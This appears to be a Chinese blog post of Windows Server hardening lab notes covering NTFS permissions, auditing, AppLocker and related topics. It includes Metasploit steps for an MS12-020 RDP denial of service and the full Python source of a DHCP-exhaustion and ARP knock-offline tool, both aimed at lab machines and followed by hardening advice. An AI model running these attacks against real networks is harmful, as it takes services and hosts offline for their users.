前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows操作系统安全基础配置

Windows操作系统安全基础配置

作者头像
菜菜有点菜
发布2022-03-17 21:11:13
9720
发布2022-03-17 21:11:13
举报
文章被收录于专栏:白菜博客白菜博客

Labs1-Windows用户和组

概念

用户是单独的,而组是他们的集合。

加固:修改用户名以及管理员组和用户的磁盘文件操作权限

Labs2-NTFS权限管理

概念:

二、标准NTFS文件夹权限的类型

  1. 读取:此权限可以查看文件夹内的文件名称,子文件夹的属性。
  2. 写入:可以在文件夹里写入文件与文件夹。更改文件的属性。
  3. 列出文件夹目录:除了“读取”权限外,还有“列出子文件夹”的权限。即使用户对此文件夹没有访问权限。
  4. 读取与运行:它与“列出文件夹目录”几乎相同的权限。但在权限的继承方面有所不同,“读取与运行”是文件与文件夹同时继承,而“列出子文件夹目录”只具有文件夹的继承性。
  5. 修改:它除了具有“写入”与“读取与运行”权限,还具有删除,重命名子文件夹的权限。
  6. 完全控制:它具有所有的NTFS文件夹权限。

三、用户权限的有效性

  1. 权限的累加性

用户对某个资源的有效权限是所有权限的来源的总和。

  1. “拒绝”权限会覆盖所有其他权限。

虽然用户的有效权限是所有权限的来源的总和。但是只要其中有个权限是被设为拒绝访问,则用户最后的有效权限将是无法访问此资源。

文件会覆盖文件夹的权限:如果针对某个文件夹设置了NTFS权限,同时也对该文件夹内的文件设置了NTFS权限。则以文件的权限设置为优先。

Labs3-远程桌面连接服务渗透与防护

概念:

远程桌面连接使用Microsoft的远程桌面协议 RemoteDesktopProtocol (简称RDP) 进行工作。与"终端服 务”相比,‘"远程桌面” 在功能、配置、安全等方面有了很大的改 善。它是从TeInet发展而来的,好比是Telnet的图形化,属于 C/S(客户/服务器)模式,所以在建立连接前也需要配置好连接的服 务器端和客户端。这里的服务器端是指接受远程桌面连接的计算机 -方(被控端), 而客户端是指发起远程桌面连接的计算机一方(主控 端)。

网络环境:

靶机:192.168.0.108 winser2003

攻击机:192.168.0.104 kali

扫描系统相关漏洞

nmap --script=vuln 192.168.0.108

搜索相关模块

search ms12-020

选择辅助模块

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

使用 发起攻击

加固

MS12-020: BUGTRAQ ID: 52354 CVE ID: CVE-2012-0152远程桌面协议 (RDP, Remote Desktop Protocol)是一-个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称"远程电脑”)。 Windows在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止响应。危害可使远程主机立即蓝屏。

  1. 安装漏洞补丁。
  2. 修改远程默认3389端口。

Labs4-DHCP服务渗透与防护

概念

DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。

网络环境

攻击机:192.168.0.104 kali

靶机:192.168.0.108 winserver2003

  1. 使用Py ”jio本“ 耗尽DHCP 地址池。

Python

代码语言:javascript
复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
DHCP exhaustion attack plus.
Usage:
  pig.py [-d -h] <interface>
"""
from scapy.all import *
import string,binascii,signal,sys,threading,socket,struct,getopt
 
conf.checkIPaddr = False
interface = "lo"
verbose = False
Debug=False
 
def checkArgs():
    global Field,Value
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hd")
    except getopt.GetoptError, err:
        # print help information and exit:
        print str(err) # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o,a in opts:
        if o in ("-d,--debug"):
            global verbose
            verbose = True
        elif o in ("-h", "--help"):
            usage()
            sys.exit()
        else:
            assert False, "unhandled option"
    if len(args)==1:
        global interface
        interface=args[0]
    else:
        usage()
        sys.exit(2)
 
 
def signal_handler(signal, frame):
        print 'Exit'
    t1.kill_received = True
    t2.kill_received = True
        sys.exit(0)
 
 
 
######################################
# Necessary Network functions not included in scapy
#
def randomMAC():
    mac = [ 0x00, 0x0c, 0x29,
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff) ]
    return ':'.join(map(lambda x: "%02x" % x, mac))
 
def toNum(ip):
    "convert decimal dotted quad string to long integer"
    return struct.unpack('L',socket.inet_aton(ip))[0]
 
def get_ip(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15])
    )[20:24])
 
def get_if_net(iff):
    for net, msk, gw, iface, addr in read_routes():
       if (iff == iface and net != 0L):
          return ltoa(net)
    warning("No net address found for iface %s\n" % iff);
 
def get_if_ip(iff):
    for net, msk, gw, iface, addr in read_routes():
       if (iff == iface and net != 0L):
          return addr
    warning("No net address found for iface %s\n" % iff);
 
def calcCIDR(mask):
    mask = mask.split('.')
    bits = []
    for c in mask:
       bits.append(bin(int(c)))
    bits = ''.join(bits)
    cidr = 0
    for c in bits:
        if c == '1': cidr += 1
    return str(cidr)
 
def unpackMAC(binmac):
   mac=binascii.hexlify(binmac)[0:12]
   blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)]
   return ':'.join(blocks)
 
 
 
 
##########################################################
#
#  ARP and create map of LAN neighbors
#
def neighbors():
     global dhcpsip,subnet,nodes
     nodes={}
     m=randomMAC()
     net=dhcpsip+"/"+calcCIDR(subnet)
     ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8,
                    filter="arp and arp[7] = 2")
     for request,reply in ans:
       nodes[reply.hwsrc]=reply.psrc
       print "%15s - %s " % (reply.psrc, reply.hwsrc)
 
#
# send release for our neighbors
#
def release():
   global dhcpsmac,dhcpsip,nodes
   print "***  Sending DHCPRELEASE for neighbors "
   myxid=random.randint(1, 900000000)
   #
   #iterate over all ndoes and release their IP from DHCP server
   for cmac,cip in nodes.iteritems():
     dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
     sendp(dhcp_release,verbose=0,iface=interface)
     print "Releasing %s - %s"%(cmac,cip)
     if verbose: print "%r"%dhcp_release
 
#
#now knock everyone offline
#
def garp():
  global dhcpsip,subnet
  pool=Net(dhcpsip+"/"+calcCIDR(subnet))
  for ip in pool:
    m=randomMAC()
    arpp =  Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip)
    sendp(arpp,verbose=0,iface=interface)
    print "Knocking %s offline, goodbye"%ip
    if verbose: print "%r"%arpp
 
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
   def __init__ (self):
        threading.Thread.__init__(self)
    self.kill_received = False
 
   def run(self):
     global timer,dhcpdos
     while not self.kill_received and not dhcpdos:
       m=randomMAC()
       myxid=random.randint(1, 900000000)
       hostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
       dhcp_discover =  Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"])
       print "\n\n\nSending DHCPDISCOVER on " + interface
       sendp(dhcp_discover,verbose=0,iface=interface)
       time.sleep(timer)
 
#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
   def __init__ (self):
     threading.Thread.__init__(self)
     self.filter = "icmp or (udp and src port 67 and dst port 68)"
     self.kill_received = False
     self.dhcpcount=0
 
   def run(self):
     global dhcpdos
     while not self.kill_received and not dhcpdos:
       sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=interface)
       print "timeout waiting on dhcp packet count %d"%self.dhcpcount
       self.dhcpcount+=1
       if self.dhcpcount==5: dhcpdos=True
  
   def detect_dhcp(self,pkt):
      global dhcpsmac,dhcpsip,subnet
      if DHCP in pkt:
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
          self.dhcpcount=0
          dhcpsip = pkt[IP].src
          dhcpsmac = pkt[Ether].src
          for opt in pkt[DHCP].options:
           if opt[0] == 'subnet_mask':
        subnet=opt[1]
            break
 
          myip=pkt[BOOTP].yiaddr
          sip=pkt[BOOTP].siaddr
          localxid=pkt[BOOTP].xid
          localm=unpackMAC(pkt[BOOTP].chaddr)
          myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
  
          print("DHCPOFFER handing out IP: "+myip)
          if verbose: print("DHCPOFFER detected from " + pkt[Ether].src,sip + " on " + interface + ", handing out IP: "+myip)
 
          dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"])
          sendp(dhcp_req,verbose=0,iface=interface)
          print "sent DHCP Request for "+myip
      elif ICMP in pkt:
         if pkt[ICMP].type==8:
           myip=pkt[IP].dst
           mydst=pkt[IP].src
           print "ICMP request from " + mydst + " for " + myip + " on " + interface
           icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
       if verbose: print "%r"%icmp_req 
           #sendp(icmp_req,verbose=0,iface=interface)
           #print "ICMP response from "+myip+" to "+mydst 
 
 
#
#
# MAIN()
#
def main(args):
  checkArgs()
  signal.signal(signal.SIGINT, signal_handler)
  global t1,t2,t3,dhcpdos,dhcpsip,dhcpmac,subnet,nodes,timer
  dhcpsip=None
  dhcpsmac=None
  subnet=None
  nodes={}
  dhcpdos=False 
  timer=1
  
  t1=sniff_dhcp()
  t1.start()
 
  t2=send_dhcp()
  t2.start()
 
  while dhcpsip==None:
   time.sleep(1)
   print "waiting for first DHCP Server response on " + interface
 
  neighbors()
  release()
 
  while not dhcpdos:
   time.sleep(5)
   print "waiting for DOS"
  
  print "DHCP Exhausted, knock all remaining hosts offline"
  time.sleep(10)
  garp()
  print "All done"
  
def usage():
    print __doc__
  
if __name__ == '__main__':
  sys.exit(not main(sys.argv))
  1. DHCP攻击神器--dhcpig

下载:https://github.com/kamorin/DHCPig

加固

不是交换机的情况下防护只能缩短IP地址的租期。(设置:DHCP——作用域——属性)

待复现....搭建场景比较耗时

Labs5-通过DHCP服务伪造DNS与防护

待学习....

Labs6-SSL证书安全

配置SSL证书实现HTTPS协议443。

HTTP://传输数据容易被不法分子截获明文

HTTPS://传输加密,即使攻击者截取到报文也是经过TLSv1加密 无法直接读取明文信息。

从而防窃听。

实验:

网站1:http://协议

数据传输明文可见

网站2:https://协议

Labs7-审核测虐

作用

中小企业用Windows Server作为服务器系统应该还是占绝大多数 的,而共享文件夹映射为网络驱动器供员工访问、存储数据也是最 普遍的应用之-。 凡事有利有弊,这个对立面是永远存在的,文件共享访问同样也存 在这样的问题。虽然可以通过NTFS的权限以及在域里面为用户分组 进行权限的管控,但很难做到对每一个独立用户的权限管控,因此 在实际应用中就总有这样那样的问题,比如某个文件又被某个不知 名的人删除了。到最后大家都推脱责任,因为某个文件夹是某些人 共同拥有权限的,所以即便知道是哪些人中的某人删除了文件,但 你无法知道是具体的人。 虽然删除的文件可以通过Shadow Copy或其他备份手段找回,但 毕竟麻烦,如果能让系统记录这一事件就比较好了 ,有系统记录就 推脱不了了,通过Windows的审核对象功能,就可以实现用户对文 件操作的监控了。

配置:

开启审核策略:

开始——本地安全策略——审核策略——审核对象访问(成功✔)

配置用户至审核策略:

选中某一个文件——属性——安全——高级——审核策略——添加用户以及权限即可。

Labs8-应用程序控制策略

启动AppLocker服务 1.点击"开始菜单”- "运行.",在“运行”中输入"services.msc" ,点击确定,打开服务管理

2.双击"Application Identity"

3.将 “启动类型(E)" 修改为“自动”,陆“启动(S)" ,再点击确定。

4.本地安全策略找到AppLocker并配置。即可限制用户对程序的一个操作。

根据HASH值做的访问控制,移动程序/脚本到其他路径 无法突破策略。

Labs9-AD(域控)建立&&加入

步骤

Labs10-FTP服务AD用户隔离

步骤

Labs11-AD组策略

步骤

让入侵者提权过程变得复杂,提升门槛。

Labs12-PPTP-搭建

概念

步骤哦

Labs13-Windows

防止FTP匿名登录

加固:开启除80端口之外的端口对外关闭哦,配置入站出战规则。

Labs14-用户信息迁移

Windows PowerShell 批量迁移Windows用户信息

Labs-15-备份与恢复

Windows Server Backup备份与恢复测试

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 08 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Labs1-Windows用户和组
  • Labs2-NTFS权限管理
  • Labs3-远程桌面连接服务渗透与防护
  • Labs4-DHCP服务渗透与防护
  • Labs5-通过DHCP服务伪造DNS与防护
  • Labs6-SSL证书安全
  • Labs7-审核测虐
  • Labs8-应用程序控制策略
  • Labs9-AD(域控)建立&&加入
  • Labs10-FTP服务AD用户隔离
  • Labs11-AD组策略
  • Labs12-PPTP-搭建
  • Labs13-Windows
  • Labs14-用户信息迁移
  • Labs-15-备份与恢复
相关产品与服务
移动应用安全
移动应用安全(Mobile Application Security,MS)针对移动应用普遍存在的破解、篡改、重打包等各类安全风险,提供Android应用加固、iOS源码混淆、SDK加固等多种加固技术,拥有丰富的行业经验,已服务于金融、互联网、车联网、物联网,运营商等多个行业。稳定、简单、有效,让移动安全建设不再是一种负担。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档